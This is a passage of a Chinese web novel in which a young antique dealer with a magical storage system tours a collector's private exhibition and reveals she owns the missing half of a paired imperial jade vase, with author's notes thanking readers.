“我要是有这么多藏品，确实很难忍住不炫耀。”萧妧妧嘀咕一句，突然好奇的问：“你家的藏品不会也有这么多吧？” 黎行聿想了想，“不低于1000件，具体数量记不清了。” 萧妧妧目瞪口呆，哇了一声。 黎行聿偏头看她：“想看吗？时间你定，我随时欢迎。” 萧妧妧心动了，谁能忍心错过见世面的机会。 “合适吗？会不会太打搅了？” 明明心动，还要搓着手客气客气，萧妧妧眨巴眼睛，期待的目光投过来，黎行聿只觉得手痒，想放在她后脑勺轻蹭。 “不会，南市有一套园子专门收纳家中藏品，”想到萧妧妧在月牙巷长大，他又说：“离你家很近。” 萧妧妧灵光一闪，莫名想到一处地方：“该不会是随园吧？” 黎行聿意外片刻，她竟然能猜出来，颔首承认。 萧妧妧嚯了一声，那可太巧了，她上次去的时候只知道是拍卖行，没听说有什么藏品。 黎行聿道：“园子买回来后没有正经用途，空置太久容易坏，索性把前五座院子分给佳博做总部，后四座院子留着摆放家中藏品，不对外开放。” 一听到不对外开放，萧妧妧更心动了，不敢想那里藏了多少好东西。 这得多有钱啊，家里的宝贝敢放在人来人往的办公场所，一点不怕人惦记。 萧妧妧没那个格局，好东西恨不得藏在系统空间的最底层，就这还要时不时拿出来摸两下，确认东西属于她。 “去去去，我肯定去，谢谢你的邀请。”萧妧妧双手合十，非常诚心的感谢黎行聿。 册子翻了几页，车子停在展馆门口。 萧妧妧隔着车窗望过去，冷冷清清，进了展馆内好上许多，楼上的水晶展、书画展吸引了很多年轻情侣。 而走到主题名为“珍古”的展厅，冷清到无人问津。 古董展不至于这么冷吧？ 萧妧妧四处打量，离展厅大门越来越近，一阵爽朗笑声传来。 “好久不见啊黎总，早知道你要来，我提前调了两天出来，不让外人打扰，咱们清清静静的看。” 从他们熟稔的寒暄中，看得出确实合作过许多次。 萧妧妧恍然，难怪像清场一样，原来是调整了公开展览的时间，媒体场和公共场时间向后挪。 这次是她沾了黎行聿的光。 黎行聿礼貌握手，半侧身为萧妧妧介绍：“孟有树先生，冠华的董事长，也是这次展览的主办人。” 萧妧妧瞄一眼光头，很快和册子上的藏家信息对上号，笑着握手。 黎行聿又道：“我的朋友，做古董生意，对孟董的藏品感兴趣，今天一起来见见。” 孟有树客气的笑着，视线来回打转，似乎分辨什么，然后邀请他们往展厅里走。 空旷的展厅只有展柜里亮着灯，回声阵阵。 萧妧妧站在入口出望过去，不愧是老收藏家，各式各样的藏品比宣传册来得震撼许多。 “和黎总家的藏品自然是不能比，不过是收着玩玩。来，我带你们逛逛。”孟有树热情地领着他们。 有藏品的主人愿意为他们介绍，倒是省去看册子的步骤，萧妧妧专心看古董。 第一个区域是瓷器，官窑哥窑龙泉窑，都集中在前头最显眼的地方，青花瓷摆了一排。 孟有树介绍瓷器时，也顺带着介绍如何得到它们。 “这里面要说最得意的，肯定是那件官窑花瓶，器型优美简约，颜色特别漂亮。 最关键的是我买来的时候特别便宜，十几年前吧？花了五六十万从别人手里收来的，现在起码翻了十倍。” 萧妧妧不太懂瓷器，听他讲解的时候学到许多，尤其喜欢听他讲如何捡漏的过程。 她听得入神，只可惜估计次数不多，要省着用，否则她一定把在场的每一件古董都扫一遍。 “要说美中不足，就是差一件汝窑，那玩意不好弄啊，”孟有树开玩笑说：“我现在巴巴的和黎总拉关系，就是想等哪天黎总不喜欢汝窑了，打算出手家里那件汝窑花瓶，我好第一时间下手。” 萧妧妧会心一笑，看出孟有树多执着汝窑了。 她绝口不提自己有汝窑茶杯一事，反正不打算卖，说出去没意思，心里暗爽就好。 “你家那件汝窑，也在随园？”萧妧妧小声问黎行聿。 黎行聿摇头：“在京城，我爷爷最喜欢它，摆在书房里每天看。” 萧妧妧失望了一会。 “想去我家看看汝窑？”黎行聿看她耷拉下来的眉眼，好笑的问。 萧妧妧拨浪鼓似的摇头：“倒也不必。” 孟有树偷摸瞥他们，心里的猜测十拿九稳了，得意的啧啧两声。 上回送请柬的时候可没见黎行聿对古董有多大兴趣，隔了不到一周，马上改主意，果然有问题。 再看萧妧妧，年轻漂亮，身形高挑，两人站在一起感觉整个画面都亮堂了。 落在后面说悄悄话的两人慢慢跟了上来，孟有树若无其事的挪开目光，继续介绍他的宝贝。 瓷器之后是孟有树夫人的水晶。 各种颜色各种造型，更多的还是原石。 孟有树无奈的笑：“我家夫人最近迷上水晶了，整天叨叨什么买了不亏，以后绝对要涨。” 水晶方面三人没一个懂的，于是粗略欣赏一圈后，快速来到下一个区域。 “这里全是摆件，木头的、象牙的、猛犸牙、金子、翡翠……太多了。” 萧妧妧记得，翻册子的时候，摆件一类比其他的展品厚许多，没来得及仔细看，站在展厅里望过去，可不是一点点的多。 “这一片是黄花梨的，雕工很精致，有老物件，更多是存的料子找师傅打的，不值多少钱，主要是喜欢。你们看中间那个，就是紫檀木雕出来的全家福，我们一大家子三十多口人都在，中间偏下面那个是我。” 孟有树蹲下来，指着其中一个光头小人笑呵呵的说。 萧妧妧想，果然每个人的收藏偏好都不相同。 有的人只凭喜欢，有的人只看价值。 萧妧妧自己属于看价值的那一批，只挑珍贵的好东西留下，像木雕这样的小摆件，她再喜欢也不会特意收集几十个差不多的摆在家里。 “再给你们看看值钱的摆件——象牙鬼工球。”孟有树为了清晰展示，甚至找来助手开展柜。 “牙雕艺术的巅峰作，你们看，这技术得多高超啊，全国找不出20个人。一共十层，可惜我小时候不懂事，让我嗑坏了一角，价值大打折扣，不然放现在，可值不少钱。” 萧妧妧不禁上前，接过放大镜仔细去看。 “有那么值钱吗？” 孟有树点头，语气骄傲：“这和鬼工球的层数、材质有关系，我这件是古董了，而且还是象牙，买卖的话肯定贵。 现代工艺虽然更厉害，多的听说有五六十层，收藏价值相对来说低许多。 当然，要是材质好那就另说，总体来看，我这件更难得。” 鬼工球也叫牙雕套球，工匠在球状物体上镂空雕刻出多层次的球层，每一层皆可自由转动。 鬼工球价格与层数息息相关，层数越多，价格呈指数级上升。材质不同，价格也天差地别。 她凑过去，看孟有树拿棉签在球孔里轻拨，很快，所有孔洞对齐，萧妧妧一层层数下去，果真有十层。 每层只比纸张厚一点，却能雕出极致繁复的图案，精美绝伦，球心燃上烛火，球体外甚至能透出光。 而在第七层的位置，确实有一处碎裂，其他几层因保养不当，有细微裂纹，影响了整体效果。 球体如此，支撑球体的柱身同样精致非常。 孟有树惋惜地说：“要是第七层没断，真就是稀罕东西，我这么多年都想收一个更好的，根本找不到合适的。” 萧妧妧按捺住雀跃心情，急促追问：“这件大概值多少钱？” 黎行聿回答了她，“南市一套房。” 萧妧妧又问：“是城区老破小，还是郊区新远大？” 黎行聿想了一下：“城区次新大。” 萧妧妧有数了，差不多在700万左右，快赶上买189号院子的钱。 有瑕疵的尚且如此，完好无损的象牙鬼工球只会更贵吧？ 萧妧妧语气一下子轻松起来，态度随意自然的接话。 “我前段时间刚好收了一个鬼工球，孟先生如果感兴趣，可以抽空去我店里看看。” 说起来还是托了龙傲天的福，上回他丢来许多杂七杂八的东西，鬼工球就包含在其中。 当时她的注意力全被大件家具吸引走，抱着紫檀黄花梨宝贝得不得了，鬼工球相比之下过于小巧，欣赏一会便放开了。 萧妧妧回想一下，她手里的那个鬼工球一共十二层，完好无损不说，保养极好，比孟有树的这个好多了，材质同样是象牙。 幸好她够谨慎，一个个包裹好塞进收纳盒，为了节省系统空间，她又把一个个小收纳盒再装进大盒子里，一股脑丢空间。 除了要费点工夫找出来，一点问题没有。 【作者有话说】 先发后改~ 感谢读者“天王星偷懒的草奎”,灌溉营养液 +2 感谢读者“妧訢”,灌溉营养液 +20 感谢读者“努力天生一对”,灌溉营养液 +1 感谢读者“傀儡师”,灌溉营养液+1 感谢读者“月白”,灌溉营养液 +10 感谢读者“我爱基建种田背景男主文”,灌溉营养液+1 感谢读者“呦呦言”,灌溉营养液 +10 107 第107章 ◎博物馆的同款未免太多了吧？◎ 孟有树呆愣片刻,重新审视萧妧妧。 年轻漂亮，活泼有朝气，像夏日的烈阳，明媚耀眼,身上有属于年轻人稚嫩与清澈。 看起来和他家闺女差不多,大学刚毕业的年纪,实在不像是经营一家古董店的老板。 “时间倒不是问题……萧小姐确定吗？您手里的东西,是和这件差不多的象牙鬼工球？” 听黎行聿介绍她是古董店老板，孟有树没深究,或者说没当回事，黎行聿才是他的重点关注对象,萧妧妧是捎带的那个。 古董行与拍卖行搜罗了一圈，始终没能找到一件称心如意的鬼工球,萧妧妧却大言不惭，说她的铺子里有,孟有树难免心生疑虑,下意识质疑她。 萧妧妧微笑点头,语气坚定：“没弄错,是鬼工球,完好无损的那种。” 孟有树闻言，眼中闪过一丝惊讶，他凝视着萧妧妧，想要从她的表情中看出更多端倪。 “南市古董铺可不少,大大小小、有名没名的，我大多熟悉,不知道萧小姐的古董店开在哪里？” 萧妧妧下意识摸了摸背包,这才想起出门玩忘记带名片了,尴尬地笑了笑。 “月牙巷188号，不破斋，最近新开业。” 一听是新开的铺子，孟有树神情微妙，不自觉地流露出几分轻视之意。 碍于她是黎行聿带来的客人，黎行聿又在旁边看着，孟有树不好直接表现出自己的态度，干巴巴笑两声，没接话茬。 萧妧妧瞧出他的不以为然，偷偷耸肩。 被人小看了，果然是今天的打扮不太稳重。 下次再有类似的场合，恐怕要戴帝王绿这种级别的珠宝出场，才有说服力。 萧妧妧没再继续推销，显得自己过于急切，好像东西卖不出去，反而让人生疑。 反正鬼工球在她手里，货真价实的老古董，即便孟有树不买，也有别人愿意买，她是一点不着急。 黎行聿这时插话：“孟董可不要小看她的古董铺，老魏前两天收了一套顾景舟的紫砂壶，就是萧老板手里出来的。” 孟有树知道魏钦买紫砂壶的事，他先前托古董商在圈子里打听，说是要给老爷子祝寿，想收紫砂壶。 当时有人找上门，询问孟有树是否有意转手，孟有树不缺那点钱，又不和魏家在一个碗里吃饭，没什么业务往来，自然用不着忍痛割爱，便让传话的人回绝了。 “这么快？我记着是上个月的事吧？萧小姐真人不露相啊。” 孟有树满脸讶异，不知道是魏钦买到了紫砂壶让他惊讶，还是紫砂壶出自萧妧妧的古董铺更令他惊讶。 萧妧妧没有解释，谦虚微笑，“巧合罢了，这还要多亏黎行聿介绍。” 她轻描淡写随口一说，孟有树却没办法随耳一听。 先是鬼工球，再是紫砂壶，随便哪一件放在中档古董铺里，都算得上镇店之宝了。 她年纪轻轻，上哪弄来这么多好货？ 孟有树把目光放在了黎行聿身上，怀疑萧妧妧在为黎家办事。 萧妧妧不在乎他怎么想，随手指了隔壁区域：“原来孟先生还喜欢收藏翡翠呢。” 然后兴致勃勃地凑过去欣赏。 翡翠是萧妧妧目前学得比较深的一类，有时不需要系统帮忙，自行判断出好坏，唯独对行情了解的不够，常常估不准价。 孟有树私人收藏的翡翠数量不少，大到稀奇古怪的摆件，小到常规的首饰，绿的紫的糯的飘花的，看得她眼花缭乱。 黎行聿跟上来，俯下身，陪着她扒在玻璃上看翡翠。 “孟先生可真有钱，我已经看到三件帝王绿的手镯了，还有一个帝王绿的蛋面。” 察觉到黎行聿靠近，萧妧妧用夸张的语气赞叹。 不像她，手里握着一个帝王绿珠链，尾巴已经翘上天了。 黎行聿：“喜欢帝王绿？” 萧妧妧目不转睛地盯着高低错落展示在台架上的翡翠项链，小鸡啄米似的点头。 “它们太漂亮了。” 萧妧妧心痒难耐，恨不得回去找龙傲天和柳如烟多收几条。 谁能拒绝拥有一排翡翠啊！ 便宜的大几百万，贵的小几千万，灯光打下来，个个美到失语。 不敢想它们全戴在身上，该是多么珠光宝气，哪怕得颈椎病她也忍了。 “保险柜里有几条帝王绿的项链，”黎行聿微微偏头，目光从翠绿转移到白皙：“晚餐前可以安排人送来，我……” 萧妧妧震惊打断：“等一下！你看起来不缺钱，为什么要寄卖它们？” “寄卖……？”黎行聿愣住，几秒后轻笑出声：“不，我想说的是，送给你。” 萧妧妧瞪大眼睛，缓缓扭头，不可置信地望向黎行聿。 帝王绿，送给她？好小众的语言啊。 这真的是可以随便送的东西吗？ 视线交汇，黎行聿漆黑的眼眸里浮动着火焰般的光彩，萧妧妧分辨一会，不像是开玩笑。 好像她敢点头，他马上能把东西捧来。 “黎行聿，你可真大方。”萧妧妧忙道：“要不起要不起，你可千万别送，我就随口一说。” 难怪电视剧里的霸总有一堆狗腿，手指缝里随便漏几样，够普通人奋斗一辈子。 礼物太贵重，她承受不起，还是自己花钱买的更踏实。 但是……和有钱人做朋友的感觉真爽！ 但凡她厚脸皮一点，真有可能晕晕乎乎的收下了。 “可是，你先送的它。” 黎行聿不解，直直凝望着她的眼睛，抬起手腕，袖子自动滑落一小截，恰好露出玳瑁手串。 萧妧妧瞥一眼玳瑁手串，大声反驳：“那怎么能一样？” 就说价格，玳瑁和帝王绿差得远了去，而且玳瑁手串明明是他当时买古董时送的搭头，可以理解为小赠品，好评返现三元的那个三元，不是真正意义的礼物。 平白无故的，她可舍不得送玳瑁那么贵的礼物。 将她的神情收入眼底，黎行聿微不可察地叹气。 “都怪你岔话题，我在这里耽误了好几分钟。” 萧妧妧直起身，寻找孟有树的身影，两天嘀咕半天，她这时想起来好久没听到孟有树的声音，担心冷落了主人。 黎行聿跟着起身，“他有事，离开一会。” 萧妧妧哦了一声，挪到旁边的展柜，继续发出赞叹声。 一排的春带彩手镯，种水真不错，能买下这么多，可见是真喜欢。 黎行聿一时间不能确定她到底喜欢什么，看帝王绿惊叹连连，看春带彩依然充满了欢喜。 甚至连一旁灰扑扑的陶罐，她也蹲下来仔细研究。 萧妧妧难得见到如此多种类的收藏，属实开眼了，哪怕不属于自己，依旧高高兴兴。 没有孟有树带领，强行安利自己的心头好，两人走到哪看到哪，看见喜欢的就多停留一会，全凭心情乱逛。 八十八件翡翠全部欣赏完，萧妧妧充满期待的前往下一个区域。 才迈进去，一溜排大小高矮材质各不相同的花瓶罐子闯入眼帘。 萧妧妧哇了一声，光是眼前看到的大约有五十多个，孟有树的家底可真厚，难怪要用一整层的展厅来办他的私人收藏展。 不敢想后面还有哪些宝贝。 眼前这一区域显然是用来展示孟有树收藏的花瓶，按照材质做细致分类。 先是三两个陶罐，再是十几个形状各异的瓷瓶，后头是艳丽的掐丝珐琅花瓶。 萧妧妧看不透瓶瓶罐罐的门道，单纯地欣赏它们的外观，拍拍照，溜溜达达走到了玉瓶区域。 不知道孟有树从哪里找来的好东西，雕工个比个的精湛，放眼望去，摆在一起炫技似的，哪一个都值得细细品味。 上一件让她看呆了的玉瓶，是苏娇娇带来的博物馆同款。 那件在她心里封神，简直绝美，不管是材质还是雕工，都比眼前的几个玉瓶精美，甩它们好几个档次。 毕竟是九族严选，宫廷玉器，萧妧妧只看着它心情就能舒畅，哪怕知道它卖不出手，砸在手里也要留下。 卖得出就卖，卖不掉自己留着，怎么算都不亏。 萧妧妧驻足欣赏好一会，慢慢挪动步子，想看看下一件又该是怎样的精彩，空旷展厅忽然响起窸窣动静，说话声断断续续传来。 两人循声扭头，孟有树和一个陌生男人争执什么，两人围着木箱子，对里面的物件指指点点。 “太假了”“杂色多”“一点不像”等话音传到耳边，瞬间拉起萧妧妧的好奇心。 “孟先生不会是被骗了吧？”萧妧妧小声和黎行聿蛐蛐。 两人顾不上看展品，关注孟有树那边的动静。 孟有树这时说话着急了些，招来展厅的安保帮忙，一起弯腰伸手，抬出木箱里的东西，小心翼翼挪到旁边的石台上。 孟有树拿着手电筒在瓶子上照来照去，又掏出手机硬塞给陌生男人展示什么，挑剔地说了一通。 萧妧妧揉了揉耳朵，想听他们说什么，又揉了揉眼睛，上前两步好看个清楚。 “看出什么了？” 黎行聿见她神情忽然认真起来，紧盯着孟有树手里的玉瓶，忍不住问出口。 萧妧妧顿了顿，不确定地摇头。 “有点眼熟，但是……应该不是，可能是我看错了吧。” 萧妧妧自顾自的嘀咕两句，说了和没说一样，黎行聿根本没听懂她的意思。 见萧妧妧收回目光，转身看其他藏品，便没当回事。 直到两人慢悠悠逛到玉瓶展示区的末端，萧妧妧陡然定住脚步，目瞪口呆地望着其中一件展品。 黎行聿顺着她视线看去，是一件正常大小的青白玉瓶。 灯光斜斜照在瓶身上，通透的青白色交错相映，清凌凌的光晕如寒烟笼罩，像遗世独立的仙女一样，美得令人惊叹。 雕工不必说，极好，设计亦是当得起一个妙字，看雕刻手法，应该是近几年的作品。 整体而言，美则美矣，过于匠气，少了韵味，算是一件非常好的工艺品，而非艺术品。 萧妧妧呆呆望了好一会，赶紧掏出手机拍照片，放大细节一寸寸对比，没一会又蹲在玻璃柜前，仔细看上面的文字介绍。 半晌，萧妧妧恍惚起身，扭头，看向孟有树。 “你有没有觉得，这件，和他手里的那件，是一样的？” 萧妧妧神情略显迟疑，一手指着身边的玻璃柜台，一手指向孟有树。 黎行聿来回比对后，神情有些许诧异：“你没看错，确实一样。” 得到肯定回答，萧妧妧苦恼地抓了抓后脑勺。 “瓶子有问题？”黎行聿虽用了疑问句，语气却很笃定。 萧妧妧偷瞄一眼，见孟有树没空搭理他们，鬼祟掏出手机递过去给他看。 看到照片的那一刻，黎行聿目光顿了顿，轻挑眉梢看向萧妧妧，眼底的疑惑明显。 萧妧妧深吸气，解释道：“照片上的青白玉瓶是京城博物馆馆藏。” 未尽之意是什么，黎行聿全懂了。 两人动作出奇的一致，一会看看面前的展柜，一会扭头看孟有树方向，隔了一会，低头看手里保存的照片。 过了一会，萧妧妧滑动相册，翻找到当初拍下的另一张照片。 那是苏娇娇为她走私来的青白玉瓶，博物馆同款，系统认证过的真货。 萧妧妧想不通，这算什么情况？ 四件一模一样的玉瓶，这……博物馆的同款未免太多了吧？ 【作者有话说】 博物馆同款见50~51章 感谢读者“山南水北”,灌溉营养液 +10 感谢读者“小露珠”,灌溉营养液 +1 感谢读者“我是不会被诱惑的”,灌溉营养液 +10 感谢读者“杨旷旷”,灌溉营养液 +15 感谢读者“要长高”,灌溉营养液 +1 感谢读者“清若”,灌溉营养液 +1 108 第108章 ◎因为，真的在我手里◎ 两人对视一眼,无言以对。 小半个展厅逛下来，足以见孟有树的眼光。 以他的财力和人脉，按理说不该出现这种低级错误，展出一件仿品。 可如果展柜里的玉瓶是真的,博物馆那件算怎么回事？她手里那件又怎么说？ 哪个是真,哪个是假,萧妧妧已经糊涂了。 除了自己手里那件有系统担保,其他三件，她可不敢乱说。 趁着孟有树不在,萧妧妧赶紧收了手机，强忍心痛,给面前这件……姑且叫它3号玉瓶吧，开启估价。 黎行聿双手环胸,微微俯身，仔细观察3号,对比图片上的细节。 略等了一会,图片弹出,萧妧妧看到180万的价格,心里便有了把握。 面前展柜里的3号玉瓶绝对是仿制品。 估价功能开启后,她特意翻出那件博物馆同款玉瓶，系统给的价格在750万。 料子值二百五十万，雕工值三百万，还有二百万给时间。 而这一百八十万,起码有一百二十万属于雕工，剩下的六十万是看在料子足够大的份上。 “这件是仿的博物馆馆藏。”几乎同时,辨认了一会的黎行聿笃定开口。 那么问题来了,孟有树不会看不出来,他图什么？ 或者说，老收藏家也有打眼的时候？ 两人面面相觑，恰好这时传来脚步声，孟有树安排完杂事，径直朝着他们走来。 萧妧妧收敛神色，若无其事的样子装作认真欣赏。 孟有树见两人一直盯着玉瓶，眉眼来来去去，不知道商量什么，走上前一看，原来是这件。 “这件可有不少故事呢。”孟有树笑呵呵地讲解：“老掉牙的你们不想听，我也不说了，单说它的雕工，那可了不得，我请的裴望山裴大师，花了两年时间打造。 说句不中听的话，料不抵工。但是没办法，家里长辈喜欢。” 萧妧妧哦嚯了一声，孟有树好坦荡一人，三言两语承认了它的来处。 “那您为什么展示出来呢？毕竟是仿品，还是仿的博物馆馆藏，即便雕工出色，让人看出来难免有些不好的议论。”萧妧妧好奇追问。 孟有树愣住片刻，大约是没想到萧妧妧问得如此直白。 “妧妧年纪小，说话没遮拦，孟董不必放在心上。”黎行聿清清嗓子，歉意微笑。 萧妧妧缩了缩脖子，抿紧嘴唇，偷瞄黎行聿。 孟有树回神，连连摆手：“你们误会了，我不介意这些，我没想到萧小姐能看出它是仿的，甚至看您的意思，还知道仿的哪一件？” 萧妧妧点头，粗略的解释道：“我在京城读的书，偶尔去博物馆逛逛。” 博物馆那件就叫1号吧，因为精美又大气，其实挺出圈的，照片每每在网上流传一遍，网友就要惊叹一遍它的美貌。 这也是萧妧妧不敢把苏娇娇带来的那件2号拿出来展示的原因，太扎眼了。 不识货的人当它是假货，碰到识货的人那更完蛋，解释不清。 孟有树又一次打量萧妧妧，这么一看，确实有点混古董圈的样子。 因着他的社会地位和财富，去他家里参观的朋友们，潜意识认为他手里这件玉瓶才是真货，用了点旁门左道换来博物馆那件，绝不多问。 孟有树倒是辩解过几次，大家一副*“我懂我都懂”的模样，他懒得再说，后来便很少带人参观。 黎行聿能看出来不意外，家学渊源在那摆着，这小姑娘年纪轻轻，如果真是自己看出来的，确实有眼力。 “萧小姐是怎么看出来的？”孟有树有心试探。 萧妧妧腹诽，当然是因为真的在她手里啊。 就在她琢磨怎样回答，才能装逼立人设的时候，和孟有树争执过的陌生男人以及工作人员从身后走来。 两人戴着手套，步伐轻缓，格外谨慎地托着玉瓶。 “老板，玉瓶清理过了，也登记了，您看放哪啊？” 他们询问孟有树意见，打断了交谈。 孟有树冲黎行聿和萧妧妧笑了笑，示意稍等，转身对守在暗处的工作人员招手。 “把柜子打开，东西并排放，”孟有树半蹲下，盯着展柜观察，“往左边挪点，把好看的那面露出来，对对对。” 工作人员配合孟有树的指挥，在展柜里几次调整玉瓶，调整灯光。 萧妧妧傻眼，这是仿了两件一模一样的，还把两件仿的全搬出来展览？ 看不懂。 新来的算4号吧，3、4号摆在一起，粗略看去，就是一对一模一样的玉瓶。 器型一样，材质差不多，高低大小肉眼看没多少差距，唯一不妥的是雕工。 两件玉瓶所雕花纹图案完全一致，雕工便对比出优劣。 倒不是说4号的雕工不好，两件的手法其实很相似，而是存在些许差异。 萧妧妧说不出个所以然，可能是情感，可能是风格，总之，她直觉不像是同一人所作。 “新来的这件是裴大师的徒弟作品，”孟有树无奈摇头：“到底是不如师父，可惜裴大师年纪大了，不接单，不然这对仿的玉瓶也不算太差。” 没办法，只有裴大师师徒愿意接单，其他大师不是不乐意仿制，就是技术不过关，孟有树虽遗憾，但也知道只能如此了，谈不上多失望。 萧妧妧闻言，暗道一句果然。 孟有树亲自上手，两件仿品调整到满意角度，让工作人员锁了展柜，欣赏片刻，对陌生男人说：“我回头和助理说一声，尾款工作日给你们老师汇过去。” 陌生男人安心了，咧着嘴笑完，冲他们几人鞠躬，乐呵呵离开。 等到周遭只剩下三人，萧妧妧不解追问：“一样的瓶子，为什么要仿两件？” 孟有树好脾气的说：“说来话长，萧小姐看过博物馆馆藏的那件正版玉瓶，但是一定不知道，正版的玉瓶其实是对瓶，也叫双瓶，必须取自同一块玉料，打造两个一模一样的瓶子，象征同根同源。 也不能说完全一样吧，它们刻字不同，在瓶耳的外侧，一瓶刻福字，一瓶刻寿字，寓意福寿双全。” “博物馆那件是对瓶中的福瓶。我让人仿的这两件也是照着做成一对，一瓶福，一瓶寿。” 萧妧妧根本不清楚这些细节，甚至第一次听说这是对瓶，它还有一个搭档。 她俯身在3、4号的瓶耳部分寻找，果真有刻字。 “所以，博物馆那件是真货？” 孟有树被萧妧妧的问题逗乐，哈哈笑。 “自然是真的。不止你一个这么想，我解释了，可大家不信，都以为我把博物馆的东西偷回来了。” 萧妧妧彻底放心，御制青白玉透雕花鸟纹福寿对瓶，福瓶在博物馆，另一件寿瓶则是在她手里。 两件同根同源，真得不能再真得古董。 差点冤枉博物馆了，以为展出的是假货。 孟有树拐回话题，继续讲故事：“你们不知道，博物馆那件福寿对瓶其实是宫廷玉器，后来成了我太奶的陪嫁之一。 按照那个年代的说法，我太奶是皇室的宗室女，和皇帝血缘比较近的那一支，族谱往上查全是有名有姓的人物，所以我太奶的陪嫁，有很多是从宫廷里流出来的。” “后来打仗了，太奶太爷做主躲出国，于是把家里带不走的东西变卖出去换盘缠，福寿对瓶就是那时候没的。 等后面安稳了，一大家子搬回来，当时家里条件还不错，想着把以前卖出去的东西赎回来，毕竟是传了几代的物件，真舍不得，而且以后也会越来越值钱。 我们一家子托人搜寻了好几年，只找回来十几件，剩下的不是没消息，就是在战争里毁了。要么跟福瓶一样，辗转换了几个主人，最后被人捐到博物馆去。” “进了博物馆那肯定买不回来了，再说，留在博物馆挺好的。 我们当时联系找到捐赠人，想打听另一半的消息，得知另一半寿瓶让不懂事的子孙给卖出去了，下落不明。 家里人惦记得不行，我这才想着仿制出来，好让家里长辈高兴高兴。 等媒体场展示结束，它们就要送回去。” 萧妧妧恍然大悟，先前还以为孟有树把替身文学玩到了古董上。 每一件古董背后都有一段故事，见证了一个时代、一个家族的兴衰存亡，根本听不完。 “你们别看它是仿的，以为多轻松，可不容易了，光是找到这么大的料子就花了几年，一件不够，得多找几件，防止中途出意外，随时换。 料子这一步解决了，联系师傅到真正动工这步，又是一两年过去，光是在料子上勾勾画画，起码小半年。 从收料子到放在展览厅、出现在你们面前，满打满算，八年过去了。” 萧妧妧瞪大眼睛，花八年时间投入大几百万，只为复刻一对玉瓶，这才是有钱烧得慌。 孟有树笑了：“正常，一般人都能不理解。我们主要图个高兴，也可以理解为，弥补遗憾吧。” 萧妧妧试探着问：“如果，那件寿瓶出现在您面前，您会想买回去，彻底填补遗憾吗？” 孟有树毫不犹豫，坚定回答：“那肯定的，仿制品到底是仿制品，不说那些外在的因素，它的意义不同。” 闻言，萧妧妧心中一阵暗喜，无法抑制嘴角的上扬。 她明爽的样子太显眼了，黎行聿和孟有树不约而同地看过来，不明所以。 萧妧妧挺胸抬头，尽量表现得郑重严肃些。 在他们的注视下，缓缓拿出手机，翻出自己拍下的寿瓶照片。 “您不是好奇我为什么能看出它们是仿品吗？”萧妧妧一边说着，一边将手机递到孟有树面前，示意他看一眼。 “因为，真的在我手里。” 【作者有话说】 不出意外是每天的21点更新，如果来不及可能稍微迟一点。 晋江有点毛病，章节发布后，前台会延迟几分钟刷新出来，需要等一等。 PS：昨天估摸着差不多可以开防D了，选了最低比例，结果还是出了意外，现在已经关掉啦 感谢读者“momo”,灌溉营养液 +5 感谢读者“要长高”,灌溉营养液 +1 感谢者“本本本本肉”,灌溉营养液 +10 感谢读者“ninomi”,灌溉营养液 +5 109 第109章 ◎哦嚯，可以吃瓜了◎ 话音落下,别说孟有树，连黎行聿都意外不已，投来的目光倏然变化。 萧妧妧敏锐捕捉到了这一丝变化，面上保持住严肃神情,内心不禁爽翻。 哼,让你小看我。 “我没在你店铺里见过。”黎行聿低声说。 萧妧妧嘿嘿笑,低声回他：“东西太多,没地方塞。” 这话说得欠揍，听起来有点炫耀的意思,只有萧妧妧知道，不是炫耀,是真塞不下，好东西太多了,根本顾不过来。 东西拿到手并不是吹吹灰尘上架那么简单，有一系列的流程要走。 珠宝玉石一类需要送去鉴定拿证书,或者请专家鉴定背书,还要下载保存系统提供的交易证明。 古董是她和异世界客人交易所得,有系统协助补足传承谱系和交易发票、合同,证明古董来源合法不够,同样需要送去专业机构鉴定背书。 更别说前期的准备工作，她要把老古董们整理出来，学着清理养护，尽量让它们漂漂亮亮的见客人。 这一趟趟步骤走下来,事情并不少，放在其他铺子,古董的证明、证书存档至少需要一个专业律师接手。 目前铺子里摆在台面上的古董,全部过明路可以拿出证明,只缺权威机构的鉴定证书。 萧妧妧已经很偷懒了，大部分家具伪造几张旧照片，能够证明家族传承便不再管。 一些昂贵的物件、见不得人的物件，她自己藏着不打算出手，索性当黑户，省去不少麻烦事。 至于值点钱、自己又不想留下的东西，她会登记清楚，按批次送去鉴定，至今还有一部分在路上。 当然，古董圈从不缺少查不清来源的物件，甚至大部分藏品都不能细究。 什么村民家里收来的、地里挖的、河里捡的、小商贩手上买的……来源不一而足，在古董圈太常见了。 这些拿不出合法来源的物件，走私下买卖，价格抬不上去，也不方便放在台面上说。 例如卖给韩教授的古墨、老傅教授的牙雕手串、张老板的砗磲围棋，这几样就是走的私下买卖。 黎行聿轻易相信了她的话，古董铺塞得满当当，他亲眼见过。 孟有树没心思听他们聊天，眼睛死死盯着手机，一个劲的扒拉图片放大细节。 干看着不满足，他又找出自己的手机，在聊天群里翻半天，找到一条视频，两台手机并在一起来回对比。 “这……”孟有树呆滞了一会，喜色浮在脸上，“好像真的是寿瓶。” 他欢喜的不行，捧着手机的胳膊轻微颤抖，征得萧妧妧同意，照片传送给他，他再发去家庭群里。 等消息的时候，孟有树仔仔细细看了寿瓶，保存相当完好，甚至能看见莹润的光泽感。 照片的背景很清晰，有小卖部的货架，杂七杂八的东西堆放着，光线色调基本挑不出毛病，可以确定不是合成的照片。 不怪他如此谨慎，孟家赎古董的事在圈子里不算秘密，甚至为了行事方便，一开始就故意宣扬出去，希望有人主动联系。 也确实有主动找上门的，陆陆续续来了十几波人，满怀期待一看，假的。 曾经买了孟家珍藏的人大多没了音讯，反倒是招摇撞骗的最多。 孟有树习惯了，不得不谨慎应对。 萧妧妧拿出照片证据不算什么，孟有树不敢全信，来回比对之后，心里稍稍踏实些。 他有八分自信，认定这就是他要找的寿瓶。 和裴大师商量仿制对瓶时，图纸不知道看了多少次，博物馆泡了许久，孟有树不敢说十分熟悉玉瓶吧，六七分肯定是有的。 只对比了几处旁人难以注意到的细节，孟有树已经相信了萧妧妧的话。 “叮咚”一声，群里发了新消息，连家里长辈都说像，孟有树更没有疑虑了。 孟有树激动不已，惊异的目光投在萧妧妧脸上，恨不得冲过去拥抱。 是他看走眼了，小姑娘年纪轻轻，门路可真广，他遍寻无果的寿瓶和鬼工球，竟然在同一家店里。 如果再算上魏钦的紫砂壶，这家店可真了不得。 而了不得的古董铺，居然才开业没多久。 越想，孟有树看向萧妧妧的目光越发微妙，越发认定她背后可能有黎家撑着。 尤其黎行聿的态度不一般，太值得琢磨了。 “萧老板哪天有空？我一定上门。” “对了，寿瓶还在萧老板手里吗？” 